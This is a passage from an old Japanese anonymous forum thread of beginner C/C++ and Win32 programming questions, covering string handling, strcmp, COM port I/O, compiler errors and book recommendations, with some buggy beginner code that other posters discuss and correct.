0177デフォルトの名無しさんNGNG
>>175 っていうか落ちないか?

#define BUFFSIZE 16
main {
  char a[BUFFSIZE], c[BUFFSIZE];
  int b;

  strcpy( a, "f_" );
  b = 1;
  /* この部分は
  sprintf( c, "%d", b );
  strcat(a,c);
  */ 一行に出来る
  sprintf( c, "%s%d", a, b );
}

>>ALL
お気持ちは分かりますが、初心者の内は大目に見ましょう。
175 さんはポインタを一から勉強しようね。
0178自己レスNGNG
>>177

>main {

引っかかった…。鬱死
0179デフォルトの名無しさんNGNG
>>176
すいません。私、やはり根本的に理解できていなかったんですね。
>>177
暖かいお言葉頂けて嬉しいです。出直してきますね。

お二人ともありがとうございました。
0180デフォルトの名無しさんNGNG
>>162

実際に atan() を自作する場合は,x が大きいと単純に級数で計算
するだけでは駄目だったり(収束しない or 遅い),結構いろいろ考
えなくちゃならんと思う。

浮動小数点計算は,基本的な問題で引っかかりがち(0.1 を十回足
しても 1 にならないとか)だから,ちゃんと本で勉強したほうがい
いでせう。
0181>176NGNG
> >a = "f_";
> aのポインタは何処を指している?

つーか、ここは特に問題ないと思うが‥
何か勘違いしてないか?
0182176NGNG
>>181
>つーか、ここは特に問題ないと思うが‥
aは変更不可領域を指している可能性が高い。

そしてその後の処理でstrcat(a,c);をやっているので、
変更不可領域を書換える可能性が高い。

> strcat(a,c);
も引用しておくべきだった。訂正する。
0183デフォルトの名無しさんNGNG
それより誰か、Cのサンプルが載ったアルゴリズムのド入門書を
教えて緒。
「Cによるはじめての・・・」
「定本・・・」
以外でお願い。
0184デフォルトの名無しさんNGNG
>>183
やっぱ、K&Rでしょ。
いくら「ど初心者」でも、「入門」とか「はじめての」とか
うたってる本はお薦めしない。嘘ばっかり書いてあるから。
難しくても、がんばって、正確なことを書いてある本を読む
ことをお勧めします。
0185デフォルトの名無しさんNGNG
>いくら「ど初心者」でも、「入門」とか「はじめての」とか
>うたってる本はお薦めしない。嘘ばっかり書いてあるから。

こういう分かったようなことをいって、K&Rを勧める人を信用しないように。
0186デフォルトの名無しさんNGNG
独習シリーズは?
0187デフォルトの名無しさんNGNG
ああ、あと、シリーズもので
初級、中級、上級、
みたいになってる奴はそれなりに良いものが多い
(経験談)
0188デフォルトのななしさんNGNG
独習シリーズは分かりにくいので、キライ。
かといって、K&R読めとはいえないんで。

オライリーシリーズを全部嫁。
0189デフォルトの名無しさんNGNG
独習ってわかりづらいの?
独習C++しか読んだこと無いけど
ものすごく良かったけどな〜
まあ、絵が無いから好き嫌いがありそうか・・・
0190デフォルトの名無しさんNGNG
C実践プログラミング・・・・(オライリー)

一応お薦め・・・・・。
0191デフォルトの名無しさんNGNG
公的なタイムサーバーってあるんですか?
0192デフォルトの名無しさんNGNG
time-nw.nist.gov とかは公的なのかな?
政府機関だし。
0193デフォルトの名無しさんNGNG
東大にあるって話を
小耳に挟んだことがある
0194デフォルトの名無しさんNGNG
小耳ねぇ…
0195192NGNG
明石の電子台から直接時刻を取ってくる
タイムサーバーなら正確無比でベストなんですが・・・
>>192
グリニッジ世界標準時刻?
0196191NGNG
>>195
スミマセン番号間違えました。
0197191NGNG
>>192
telnetで接続してログとって見ました。
51934 01-01-25 07:50:32 00 0 0 361.5 UTC(NIST) *
バッチリそうです。ありがとうございました。
0198191NGNG
検索エンジンで調べたら他にも色んな場所にあるんですね。
ttp://www1.odn.ne.jp/~caa05360/timeserver/timeserver.html
0199デフォルトの名無しさんNGNG
>>184
>>183はアルゴリズムを知りたいんだろう。それにK&Rを勧めてどうするかな。
K&Rは一冊持っとくべきだと思うが。

 で、何年か前にアルゴリズム事典を何冊か眺めてみたんだけど、なんつーか、
どれもコーディング規則に一癖あるようなのが多かった記憶がある。
 まぁ、丸写しするにせよ、読み解くにせよ、どれでも一緒だと思うぞ。
0200デフォルトの名無しさんNGNG
>>199
> アルゴリズムを知りたいんだろう。それにK&Rを勧めてどうするかな。
K&Rはアルゴリズムの宝庫だと思うのだが。

2分木探索、クイックソート、mallocの実装、再帰下降パーサ
streamの実装、tree構造、etc
0201183NGNG
アルゴリズムのド入門書のこと、アドバイス色々サンクスね。
K&Rは立ち読みして、そのままそっと本棚に返した。
多くの人が絶賛する本だから内容はいいんだろうけど、
相性みたいなのがあるでしょ?
ちょっと俺には合わなかった。まぁ、そのうち読まなきゃいけないんだろうけど、
必要なときがくれば考えてみるね。
そんで、K&Rにはアルゴリズムが載ってるとしても、Cのプログラミングの説明と
して、何かのアルゴリズムを使ってるんじゃない?
それはそれでいいんだけど、俺が知りたいのは、基本的なアルゴリズムそのもの、
その考え方、チャートの描き方、それをコードに直す手順、みたいな感じの
ことなんだよ。
みんながあちこちで紹介してくれてる本はざっと目を通したけど、しっくり
こなかったんで。
引き続き、オススメがあれば教えてちょうだいな。
プリーズ。

0202デフォルトの名無しさんNGNG
>>201
そんな君には、「算法表現論」岩波書店
だ。
0203デフォルトの名無しさんNGNG
>201
共立出版の「アルゴリズム辞典」
A5、976Pで25000円・・・。すまん、ネタだ。
でも、どんな内容なのかスゴク興味ある。
0204デフォルトの名無しさんNGNG
共立出版「ナノピコ教室」「続ナノピコ教室」
0205デフォルトの名無しさんNGNG
>>201
>多くの人が絶賛する本だから
ちょっと、私が感じているK&Rの評価と違うなぁ
K&Rは、その他のCの本とは別格でしょ。
Cコンパイラの仕様書とでも言えると思う。
つまり、その他のCの参考書のコードがコンパイルできなければ
その参考書が間違ってるわけだが、K&Rのコードが通らなければ
そりゃコンパイラがバグってる、と言えるほどCの標準なわけで

絶賛しているのではなくて、基準なのだと思うよ。
日本語に対する「広辞苑」みたいな感じかな。

で、内容的にどうかというと賛否が分かれるね。
0206デフォルトの名無しさんNGNG
みんな、K&Rと言うと納得するようだが
ANSIとかISO,JISがなんでできたか考えれば
そんなに盲信できるものとは思えないんだけどね
205のコンパイラがおかしいってのは言い過ぎなのでは?

それでも、そこらの解説本とは比べられないが・・・

私は、K&R読むくらいなら
ANSI読んだほうが良いと思っている
0207pikioNGNG
世にあるMP3を扱ったソフトはみんなライセンス料を払ってるのですか?
払わないと集金にきますか?
0208デフォルトの名無しさんNGNG
>>206
「プログラミング言語C 第2版」は
C89(いわゆる ANSI Cというやつかな..??)で書かれているよ。
0209デフォルトの名無しさんNGNG
>>206
いつの時代のK&Rですか?
今、一般にK&Rといえば「プログラミング言語C 第2版」のことだと思いますが。
当然、この本はANSI準拠。

>>207
MP3は確かフリーフォーマットだと思ったけど。
まあ、GIFじゃあるまいし多分問題ないかと。
0210デフォルトの名無しさんNGNG
K&RよりもANSIを読んだ方がいいというのは言語オタクかコンパイラ関係の人。
かたぎには手に入れやすいK&Rのほうがいいんです。
0211デフォルトの名無しさんNGNG
>多くの人が絶賛する本だから
ってよりも昔はK&Rしかなくて、Cを熟知している人は大抵そんな時代からの人で
んで、アセンブラもよく知ってる人で、他の本はあんまり知らなくて
「とりあえずK&R読め」ってことさ。んだんだ
0212デフォルトの名無しさんNGNG
>>209
MP3は最近さわがれてるだろーが!
よく問題ないとかいえるな。おい。
0213209NGNG
>>212
最近騒がれてるって、どういう意味で?
MP3の規格自体はフリーフォーマットだろ。違うのか?
0214デフォルトの名無しさんNGNG
そこらへんの怪しい解説本よりはいいんじゃない。>K&R
へたに問題のある本で洗脳されるよりずっとマシ
0215デフォルトの名無しさんNGNG
フォルダにパスワードをつけたいんですけどもどうすれば良いのでしょうか?
ちなみにWin機です。
0216デフォルトの名無しさんNGNG
自分が作ったアプリやゲームが雑誌に掲載されると、
掲載料とかもらえるんですかね?
0217デフォルトの名無しさんNGNG
>212
久々ドキュソ発見。論点がちがうぞ。
0218デフォルトの名無しさんNGNG
GIFもフリーフォーマットだろ。違うのか?
0219212NGNG
スマソ。213の言うとおりです。

ということで、MP3は問題なし。
エンコーダ、デコーダ自由に作ってよしということで。
0220デフォルトの名無しさんNGNG
DirectX 7のサンプルなどって手に入りますか?
0221デフォルトの名無しさんNGNG
デコーダはともかく、エンコーダはマズイだろ。
GIFのような問題がある。
0222デフォルトの名無しさんNGNG
>>219
午後のこ〜だのページ見るべし。
結構詳しい経緯とか書いてあったよ。
0223デフォルトの名無しさんNGNG
パテントプールが必要だよね。
mpeg2でも必要だし、厄介な世の中だよ。
0224名無しさんNGNG
高速の拡大縮小の処理ってどうすればいいんでしょうか?
ヒント、キーワードを教えてください。
0225デフォルトの名無しさんNGNG
たとえば
line[] = "こんにちわ";
って入ってる配列の中身をshift-jisからEUCにするにはどうしたらよいのでしょう?
0226デフォルトの名無しさんNGNG
自前で
SJIS2EUC(char *)
書く
0227デフォルトのななしさんNGNG
愛と勇気!
0228デフォルトの名無しさんNGNG
>>225
下記の関数を使う
http://www.linux.or.jp/JM/html/LDP_man-pages/man3/iconv.3.html
http://www.linux.or.jp/JM/html/LDP_man-pages/man3/iconv_open.3.html
http://www.linux.or.jp/JM/html/LDP_man-pages/man3/iconv_close.3.html
0229デフォルトの名無しさんNGNG
unsigned int sjis2euc(unsigned int sjis)
http://alfin.mine.utsunomiya-u.ac.jp/~niy/algo/s/sjis2euc.html
0230デフォルトの名無しさんNGNG
Qtってどんな感じですか?使ったことのある人いたら教えて下さい。
0231デフォルトの名無しさんNGNG
rand で乱数を作ってもいつも同じ乱数列から
同じ結果が出てしまいます。どうやって乱数作るんですか?

0232デフォルトの名無しさんNGNG
srand(time(0));
0233デフォルトの名無しさんNGNG
ノーモアネタ・・・
0234デフォルトの名無しさんNGNG
>230
どんな感じって,使ってみるのが一番。日本語

http://www.kde.gr.jp/~asaki/Qt/

でも見て,一通り理解すれば,大体の感じは捕めるでしょう。
Windows の MFC と違って,敷居は高く無い。
0235234NGNG
途中文章が変だが気にしないでくれ。
0236デフォルトの名無しさんNGNG
仮にテストの成績を順位付けしたいと思います。
クラス、学年と付けたいんですけどそうすると
配列はどのようになるのでしょうか。
0237JAVACNGNG
Cドライブ残り容量400MBなんですが、JDKをいれても大丈夫ですか
??
0238デフォルトの名無しさんNGNG
>>237
ぜんぜんおっけー
ダウンロードモジュールの大きさから考えてみろって。
悪くても3倍以上になるこたあない。
0239デフォルトの名無しさんNGNG
>>237
http://java.sun.com/j2se/1.3/ja/README.html#system
0240デフォルトの名無しさんNGNG
>>236
java.util.TreeMap
を使え。入れると同時にしかるべき順位の場所に挿入される。
C++はSTLのえらい人にパス
0241デフォルトの名無しさんNGNG
>>236
構造体配列
って、ここ、ウルトラ初心者板だっけか、んじゃ例をば
typedef struct PERSONAL_INFO{
 int grade;
 int class;
 int name;
 int score;
}PERSONAL_INFO;
#define N ??
main(){
PERSONAL_INFO *person,*sort;

person=(PERSONAL_INFO *)calloc(N,sizeof(PERSONAL_INFO));
sort=person;
/*あとは、なんとでもしてちょ*/
free(person);
}

適当に書いたからスペルミス等があるかもしれん・・・
0242デフォルトの名無しさんNGNG
BCCでコンパイルしたら、以下のエラーがでてコンパイルしてくれません。
初めて関数を作成したのが、原因だと思うのですが、対処方法がわかりません。
誰か教えて下さい。よろしくお願いします。

Borland C++ 5.5 for Win32 Copyright (c) 1993, 2000 Borland
c108.c:
エラー E2141 c108.c 7: 宣言の構文エラー(関数 aa )
警告 W8065 c108.c 24: プロトタイプ宣言のない関数 'aa' の呼び出し(関数 main )
*** 1 errors in Compile ***
0243242NGNG
解決しました・・・
変数を宣言した行に";"が抜けていました。恥ずかしい・・・

警告がでないようにするには、どういった処置をすればよろしいでしょうか?
0244デフォルトの名無しさんNGNG
>>243
それはプログラマとしてかなり痛いぞ。
0245242NGNG
すいません・・・初心者で独学です。勘弁して下さい。
0246デフォルトの名無しさんNGNG
λ-算法やμ-作用素って、どんな場面(特にプログラムにおいて)役に
立つんでしょうか?
0247ななしNGNG
BorlandC++というのをDLしたんだけど後どうやったらプログラムが打てるように
なるんですか?
0248デフォルトの名無しさんNGNG
>>247
はぁ・・・
0249デフォルトの名無しさんNGNG
>>247
逝って良し〜
0250デフォルトの名無しさんNGNG
>>248-249
ここはウルトラ初心者スレなんだから大目に見なきゃ。

>>247
C/C++言語については自分で参考書でも買って覚えてください。
BCCの使い方ならここでもどうぞ。
http://homepage1.nifty.com/tyuuki/cc/bcc_install.html
0251デフォルトの名無しさんNGNG
つーか、ねただろ?
0252デフォルトの名無しさんNGNG
VC6で作ったプログラムが正常に終了できません。
途中の処理は全て問題なく動き、最後にウインドウを閉じる時にエラーが出ます。
デバッガで見ると、WM_DESTROYの最後にrerutn 0を返すところまでは問題なく、
その後のアセンブラっぽいところまで行ってエラーが出ました。

そのままリリースビルドして実行してみたら、特にエラーが出ることも無く終了できたんですけど
やっぱりこのままじゃまずいですよね。
0253デフォルトの名無しさんNGNG
やっぱしまずでしょうね‥
エラーの種類なはに?
0254252NGNG
>>253
エラーメッセージはこんなです。訳してみたけどよくわかりませんでした。

Debug Assertion Failed!

Program: D\Vc\PT\Debug\PT.exe
File: dbgdelcpp
Line: 47

Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)

For infomation on how your program can couse an assertion
failure , see the Visual C++ documentation on asserts

エキサイト訳:
あなたのプログラムがどう主張失敗を共同使用することができるかについてのinfomationについては、
Visual C++ドキュメンテーションを見る、の上で、主張する。
0255デフォルトの名無しさんNGNG
>>254
それが出たときにありがちなのは、リリースビルドされたDLLでnewされた
オブジェクトを自分のプログラムのDebug版でdeleteしちゃう、とかだな。
0256252NGNG
どうやらWindows2000だとリリース版でも終了時にエラーが出るみたいです。
Win98では出なかったです。

エラーメッセージ
"0x00407733"の命令が"0x00000004"のメモリを参照しました。メモリが"written"になることはできませんでした。
0257デフォルトの名無しさんNGNG
strcpyとlstrcpyって何が違うんでしょうか。
機能自体は同じみたいですが…。
0258名無しさんi486NGNG
>>
lstrcpyはWin32APIなので、string.hがいらない
0259デフォルトの名無しさんNGNG
>>257
lstrcpyは実際にはlstrcpyAまたはlstrcpyWへのalias。
lstrcpyAがchar*用で、lstrcpyWはwchar_t*用。
こういう方式は、文字列を扱う多くのWin32APIで共通。

lstrcpyに相似なのは、strcpyではなくVC++で云えばtcscpyね。
0260デフォルトの名無しさんNGNG
ゴジラとキングコングと何が違うんでしょうか?
機能自体は同じみたいですが…。
0261名無しさん6502NGNG
>>
キングコングはWin32APIなので、string.hがいらない
0262デフォルトの名無しさんNGNG
windowsx.hとかのマクロって使った方がいいんでしょうか?
処理速度やビルド後のサイズは使っても使わなくっても同じですよね?
0263名無しさんNGNG
>>262
できる限り使ったほうが他の人にも理解し易くなります。

ただ、コントロールへのメッセージのマクロ等では
Button_SetText()を使うのとSendMessageを使うのと
どっちがいいかというと、どっちともいえないのが事実ですが。
ただ、プログラム内ではどちらかに統一したほうが良いです。

ちなみに、windowsx.hを見ると解りますが、ただ単にAPIや
SendMessage()にマップしているだけなので、処理速度もサイズ
も変わることはありません(あるとすれば最適化処理くらい)。
0264名無しさんNGNG
>>252-256
>>254のエラーメッセージを見ると、VirtualAlloc()等のメモリを
確保するファンクションで確保したメモリを2重解放しているか、
もしくは無効なポインタを解放しようとしているか、いずれかでしょう。

"Expression: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
というのは、解放しようとしているメモリブロックがプロセスから
見て無効であると判断されているということです。
0265262NGNG
そうですか。
じゃあ、使うようにします。
0266デフォルトの名無しさんNGNG
#include <stdio.h>

int main(void)
{
int a[10000],count;

for(count=0;count<10000;count++)
{
a[count]=count;
printf("count=>%d\n",count);
}

return 0;
}

こんなプログラムを組んで実行してみたのですけど、
countが7000くらいで、表示がめちゃくちゃになってしまいます。
何がいけなかったのか、どなたか教えてもらえませんか?
0267デフォルトの名無しさんNGNG
>>266
環境を教えてください。
0268教えてください。NGNG
小文字アルファベットのみの文字列をキーボードから読み込んで
表示するプログラム
条件:1)小文字アルファベット以外の文字があったらエラ―表示
   2)すべて大文字に変換して表示
   3)どのアルファアベットが何個入力されたか表示

#include<stdio.h>

void main()

{

char buff[23];
int ic=0;
while(buff[ic]=!'\0')

printf("小文字アルファベットを入力してください: ");
scanf("%s",buff);

{
if((buff[ic]<0x41)||(buff[ic]>0x5a))
printf("%d 番目が文字のアルファベットではありません\n",ic);
else
printf("%s",buff);


buff[ic]=buff[ic]+32;
ic++;



}

}

というふうにプログラムをしたんですが、多分全然変なプログラム
だと思います。あまりにも条件が難しくてこれ以上手が付けられません。
どうすればいいかどなたか教えてくださいませんか?
よろしくお願いします


0269教えてください。NGNG
268です

ちなみにVC++です。
長くてスイマセン
0270課題でないならNGNG
isalpha()
toupper()
int count['Z' - 'A' + 1];
memset(...sizeof(count));

int ch = ??
count[??]++;
0271デフォルトの名無しさんNGNG
>>268
自分で努力して見せるってのも、こういう場所で教えてもらうコツだけどさ。
そのソースはひどすぎはないか?
0272デフォルトの名無しさんNGNG
>>271

268です。コツというか確かにこのソースがひどいのは
重々承知なんですが、実際このソースがどんな風にひどいのかも
わかりません…。
>>270
ありがとうございます。でも、課題だったらどーなるんでしょうか?
0273266NGNG
すいません。266です。
windows98で、Cで書いてます。

0274デフォルトの名無しさんNGNG
>>272
> 実際このソースがどんな風にひどいのかもわかりません…。
とりあえず添削すると...

まず
> while(buff[ic]=!'\0')
の位置がおかしい
>printf("小文字アルファベットを入力してください: ");
>scanf("%s",buff);
は複数回おこなわないよね?

> if((buff[ic]<0x41)||(buff[ic]>0x5a))
マジックナンバー(0x41, 0x5aなどの意味不明の数値)
がかかれているコードは読みにくいしわかりくいと思わない?
if((buff[ic]<'a')||(buff[ic]>'z'))
のほうがわかりやすいよね。
また小文字かどうかを調べるCの標準関数(マクロ)もあります。

あと、多分
> 3)どのアルファアベットが何個入力されたか表示
がわからなそうですが、
1. a-zまでの26個の配列を定義し、全部0に初期化する
2. hoge[0]aの出現回数を記憶しておく
  hoge[1]bの出現回数を記憶しておく
  hoge[2]cの出現回数を記憶しておく
    :
  ようにして
3.小文字アルファベットが出現したら対応する
 hogeの要素をカウントUPする
0275デフォルトの名無しさんNGNG
>>273
ソースを見たかんじだとおかしい所は無いです。
一応、うちのWin98+VC6で実行させて見たけど、正常に動いてるよ。
0276266NGNG
>>275
えっ、そうですか。
私はLSI-C試食版でやっていたのでだめだったのでしょうか。
近いうちにVCは買うつもりなので、買ったらまた試してみます。
教えていただいて、ありがとうございます。
0277C++でNGNG
デバッグ、コンパイル、リンク、ビルド、リビルドとかって
それぞれどんな役割・順番なんでしょうか?
あと出来上がったプログラムを実行しても
その前のプログラムが実行されちゃうんですけどどうしてですか?
0278名無しさん6502NGNG
コンパイル: C++のソース→バイナリ
リンク: ファイル毎にコンパイルしたのとかをくっつけて実行ファイルを作ったり
ビルド : コンパイルしてリンクすること
リビルド: 前のビルドの時作った作業ファイルを全消去して一からビルドし直し

デバッグ: 上4つとは全然別の話
0279デフォルトの名無しさんNGNG
>>274
ありがとうございました。
直してやってみます。
0280デフォルトの名無しさんNGNG
COMポートで相手の機械にデータを流したいのですが、
どのような関数を使えばいいのですか
ちなみに整数値(int)をわたしてあげたい!
0281( ´∀`)さんNGNG
int strcmp( const char *str1, const char *str2 );
は1=2のときに0で1≠2の時に0以外ってこれ普通なんすか?
真のときは0以外で偽のときは0だと思ってたけれど、
この場合1と2を比べて合ってたら0って偽ってこと?
0282デフォルトの名無しさんNGNG
>>281
かなり混乱しているようですが...

strcmp(), memcmp()は
str1 > str2 の場合正の数
str1 = str2 の場合0
str1 < str2 の場合負の数
を返すように決まっています。

なぜかというと文字列を辞書順にソートしたい場合など、
文字の大小がわからないと不便だからです。

またif文は式中の値が0以外は真、0は偽として処理を行ないます。

つまり文字列が同じ場合をチェックするのには
if(strcmp(s1, s2) != 0) printf("s1とs2は同じ\n");
か
if(!strcmp(s1, s2)) printf("s1とs2は同じ\n");
などと書く必要があります。
0283282NGNG
>>282
嘘
>if(strcmp(s1, s2) != 0) printf("s1とs2は同じ\n");
if(strcmp(s1, s2) == 0) printf("s1とs2は同じ\n");

逝ってきます
0284281NGNG
よーくわかりました。
これからポケットリファレンスでも買いに逝ってきます。
解説系HPの説明は100%足りているわけではないということがわかったっす。
0285デフォルトの名無しさんNGNG
>>281

s1 - s2 の引き算をした結果、
と思えば覚えやすいかもね。
0286名無しさん@お腹いっぱい。NGNG
直感的にナニだと思う人が多いんでしょうか
#define STREQ(s1, s2) (strcmp(s1, s2) == 0)
なんてマクロをよく見かけます。
0287デフォルトの名無しさんNGNG
Cを独学で構造体まで勉強しました。
一通りのソートやキャラクター検索のコードを書いてきましたが、
これから何をするのが良いでしょうか?
何していいのかわからなひ・・・。
02882001年宇宙の錆NGNG
自分が作ったネットワークプログラムを、ファイアウォールや
プロキシサーバーを越えさせるためには「アプリケーションをsocks化」しないと
いけないことはわかったのですが、具体的にどうすればいいんでしょうか?
UltimaOnlineやディアブロが、学校のPCでできたりしますが、
これらはsocks化されているんですか?
それとも単にファイアウォールがポートをふさいでいないだけ?
0289デフォルトの名無しさんNGNG
>>288
Windows ならたしか socksify するアプリがあったはず。
un*x なら #define SOCKS #include <socks.h> して libsocks5 とリンクしろ。
runsocks でも ok。
02902001年宇宙の錆NGNG
>>289
ご回答ありがとうございます。

プラットフォームを書くのを忘れていました(^−^;
サーバー、クライアントともLinuxで、開発言語はC++です。
ネットワークプログラミングの勉強をしようと思って
とりあえず簡単なプログラムを書いてみたのですが、
ローカルネットワークでは通信できたものの、インターネット越しだと
できなくて悩んでいるところです。

ご助言いただいたsocks.h、libsocks5のキーワードで検索したものの
ファイアウォールの設定のページしかひっかからなくて泣きそうです。
具体的にやりたいことは、友人に自作のサーバーアプリケーションを立てさせ、
それにつなぐ、という単純なことなのですが。

簡単なプログラム例を出していただければ幸いです。
#そもそも私がsocksの概念を勘違いしている可能性も有り。
0291デフォルトの名無しさんNGNG
はーい、質問。
Texinfoファイルって、Windowsで見るにはどうすればいいんでしょう?
bison.texinfoが読みたいっす。
0292デフォルトの名無しさんNGNG
>>291
やらずに言ってますけど…。
texi2html を cygwin でコンパイルすればコンバートできるかも。
0293デフォルトの名無しさんNGNG
>>291
Mule 入れて、その上で読む:-)
0294デフォルトの名無しさんNGNG
COMポート(COM1)を使って相手の機器に整数値を送信するやり方は
以下の方法でいいのですか?

HANDLE handle;
DWORD dwNumber;
BOOL bRetW;
BOOL bRetC;
CString strErr;
int iData = 1; //とりあえず整数値の1を送る

// 送り先のクリエート
handle = CreateFile("COM1", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(handle == INVALID_HANDLE_VALUE){
MessageBox("クリエート時エラー", "エラー", MB_ICONERROR | MB_OK);
}

// 送り先へデータの送信
bRetW = WriteFile(handle, &iData, sizeof(iData), &dwNumber, NULL);
if(bRetW == 0){
MessageBox("データ書き込み時エラー", "エラー", MB_ICONERROR | MB_OK);
}

// ハンドルのクローズ
bRetC = CloseHandle(handle);
if(bRetC == 0){
MessageBox("ハンドルクローズ時エラー", "エラー", MB_ICONERROR | MB_OK);
return;
}
0295292NGNG
>>268

すくなくとも Linux の場合、

#include <ctype.h>

isalpha()
は ア ル ファ ベットかどうか調べる。これは標準の"C"
localeでは (isupper(c) || islower(c)). と等し い。
他 のlocaleでは、大文字でも小文字でもない他の文字で
も isalpha() がtrueを返すことがある。

準拠
ANSI - C, BSD 4.3. isascii()はBSDやSVIDの拡張であ る。 ま
た、isblank()はGNUの拡張である。

という標準関数があります。Windows だとどうなんでしょ…?
0296新規投稿NGNG
Windowsにおいて DLL が持つエクスポートされた関数のアドレスというのは
バージョンに依存せず、常に一定なものなのでしょうか?

やはり GetProcAddress で関数名か序数を指定して取得するべきなのでしょうか。


0297デフォルトの名無しさんNGNG
C++のプログラミングをこれからはじめようと思いますが、
VC++とBCBではどちらがお勧めでしょうか?
0298デフォルトの名無しさんNGNG
>>297
C++だけならgccとかでもOKだよ。
0299297NGNG
>>298
Win32APIをつかったプログラムでも大丈夫なんでしょうか?
0300デフォルトの名無しさんNGNG
>>299
C++をしたいんじゃなかったっけ?
0301297NGNG
>>300
せっかくだからWin32も覚えようと思いまして。
0302デフォルトの名無しさんNGNG
>>301
http://www.kt.rim.or.jp/~kbk/faq.html
0303297NGNG
>>302
ありがとうございました
0304デフォルトの名無しさんNGNG
>>296

>やはり GetProcAddress で関数名か序数を指定して取得するべきなのでしょうか

すべきでしょ。
てか、不可欠。
まあ、暗黙リンク使えるなら(.libがあるなら)それでも良いけど
0305296NGNG
>304さん
やはりそうですよね。バージョンごとに変わらないなんて
保証というか規約なんてないですものね。
0306名無しさん@お腹いっぱい。NGNG
MFCを覚えるのがしゃくなんですが、VBのように
簡単に開発できるC++環境って何でしょうか?
0307デフォルトの名無しさんNGNG
>>306
BCBでVCL使え。
0308デフォルトの名無しさんNGNG
VCLを覚えるのがしゃくなんですが、VBのように
簡単に開発できるC++環境って何でしょうか?
0309デフォルトの名無しさんNGNG
>>308
厨房はVBがお似合い。
0310飲む打つ買うさんNGNG
C#ってJavaみたくIE上でアプレットとしても動かせるんですか?
0311デフォルトの名無しさんNGNG
VisualStudio.netのVisualC++ってVBみたいに簡単になってるんですか?
0312デフォルトの名無しさんNGNG
MS に電話してね♥
0313デフォルトの名無しさんNGNG
VB使い「僕たちも仲間に入れて〜」
VC使い「お前らこっちに来んな!!」
0314デフォルトの名無しさんNGNG
VC++を買ったので、勉強しているのですが、
1.関数に対して、引数を渡すのに、値とポインタとどちらを渡すのか・・・
  と、いうところは、どこで見分けられているのでしょうか。
  (構造体や、そのポインタを渡すとか・・・)
  関数のパラメータに書かれているのは分かるのですが、いまひとつ
  つかみきれません。どんな時は、こんな引数という例を教えて頂き
  たいのです

2.関数の返値を使う場合と、構造体などのポインタを引数として渡して、
  そこに値がセットされるのを望む場合の、見分け方はどうされている
  のでしょうか?
  関数の返値がvoidだったりすると、ポインタを渡して、そこに結果が
  設定されるのかな・・・とか思いますが

ヘルプを見ながら勉強用のプログラムを組んでいるのですが、まだまだ
ピンとくることがなく、苦労しています
0315デフォルトの名無しさんNGNG
*
0316いさましいチビの女NGNG
>>314
そんなんに規則性なんてないです。
0317偽名無しさんNGNG
>>314 親切教えてやろう。
void f1(struct hoge h); //値渡し
void f2(struct hoge* h); //ポインタ渡し
boid f3(struct hoge& h); //参照渡し
呼ぶとき
struct hoge h;
f1(h); //値渡し
f2(&h); //ポインタ渡し
f3(h); //参照渡し

struct hoge g1(); //値返し
struct hoge* g2(); //ポインタ返し
void g3(struct hoge* h); //ポインタに返り値を期待
void g4(struct hoge& h); //参照に返り値を期待
呼ぶとき
struct hoge h;
struct hoge* ph;
h=g1();
ph=g2();
g3(&h);
g4(h);
0318314NGNG
>>317
ありがとうございます
精進します
0319あなたのうしろに名無しさんが・・・NGNG
C言語でテトリスを作ってみたのですが、これで初心者から
脱することができたでしょうか?ちなみに、WinSDKでやりました。
0320デフォルトの名無しさんNGNG
初心者かどうかなんて自分で思っとけば良いんじゃない?
んな、明確な基準なんて無いよ。

と、いつまでたっても初級が抜けられない人の戯れ言でした。
0321VC++勉強中・・・NGNG
int KyoutuNanndesu(void);

void CMentDlg::OnButton1()
{
処理を書いてます
}

int KyoutuNanndesu(void)
{
ここで、CMentDlgにおいてあるエディットボックスとか、
その他のコントロールに対して、処理を行いたい
}

と、いうときは、どうしたらいいのでしょうか
(コントロールを使用した処理を関数に切り出したい時)
KyoutuNanndesu()の引数に各コントロールのハンドルを渡すのかな?
それとも、同一ソース内なので、記述の仕方だけで解決できるのかな?
とか、いうような感じはするのですが、
渡し方とかのコーディングがわかりません

ご伝授下さい・・・
0322VC++勉強中・・・NGNG
>>321
記入モレ・・・
コントロールに対して処理を・・・
というのが、ダイアログに貼り付けてある、エディットボックスの
メンバ変数に値を設定したい時です

コントロールに対して処理を行いたいときは
int KyoutuNanndesu(CEdit *);

void CMentDlg::OnButton1()
{
処理を書いてます
KyoutuNanndesu(&m_edit1_ctrl);
}

int KyoutuNanndesu(CEdit *m_edit1_ctrl)
{
ここで、CMentDlgにおいてあるエディットボックスとか、
その他のコントロールに対して、処理を行いたい
[[m_edit1のメンバ変数にゼロを設定したい]]
m_edit1_ctrl->SetFocus();
}

で、行えますよね・・・。(これが、定石から外れるとかだったら
それも指導していただけるとうれしいのですが)
0323デフォルトの名無しさんNGNG
KyoutuNanndesu() は CMentDlg のメンバにしたほうがわかりやすかないですか?>322
0324デフォルトの名無しさんNGNG
CMentDlg以外でも使いたいからだろ?
まあ、KyoutuNanndesu()をメンバに持つクラスを基底クラスにして
CMentDlgを作る、というのはありかもしれんが。
0325デフォルトの名無しさんNGNG
COMポートを使ってパソコンから
相手の機器へデータを転送するには、
以下のコードでいいでしょうか?

// 送り先のクリエート
handle = CreateFile("COM1", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if(handle == INVALID_HANDLE_VALUE){
// クリエート時エラー
}

// 初期設定の取得
GetCommState(handle, &lpdcb);

// 必要に応じてここでlpdcb構造体のメンバを変更


// COMポートの設定をセット
SetCommState(handle, &lpdcb);

// 送り先へデータの送信
bRetW = WriteFile(handle, &iData, sizeof(iData), &dwNumber, NULL);
if(bRetW == 0){
// データ送信時エラー
}

// ハンドルのクローズ
bRetC = CloseHandle(handle);
if(bRetC == 0){
// ハンドルクローズ時エラー
}
0326偽名無しさんNGNG
>>321
KyoutuNanndesu()って共通なんですかよ。
今日鬱なんですにしか見えなかった。
0327デフォルトの名無しさんNGNG
質問なのですが
char a[10];
と
char a;
ではどう違うのでしょうか?  
0328デフォルトの名無しさんNGNG
char a;
やってる事は
char a[1];
と同じような門。
0329デフォルトの名無しさんNGNG
>>326
鬱坊が書いたんだろ、きっと
ローマ字関数むかつくー!

>>327
どう同じだと思ってるのかい?
0330デフォルトの名無しさんNGNG
配列?
0331デフォルトの名無しさんNGNG
>325
自分はやったこと無いので分かりませんが
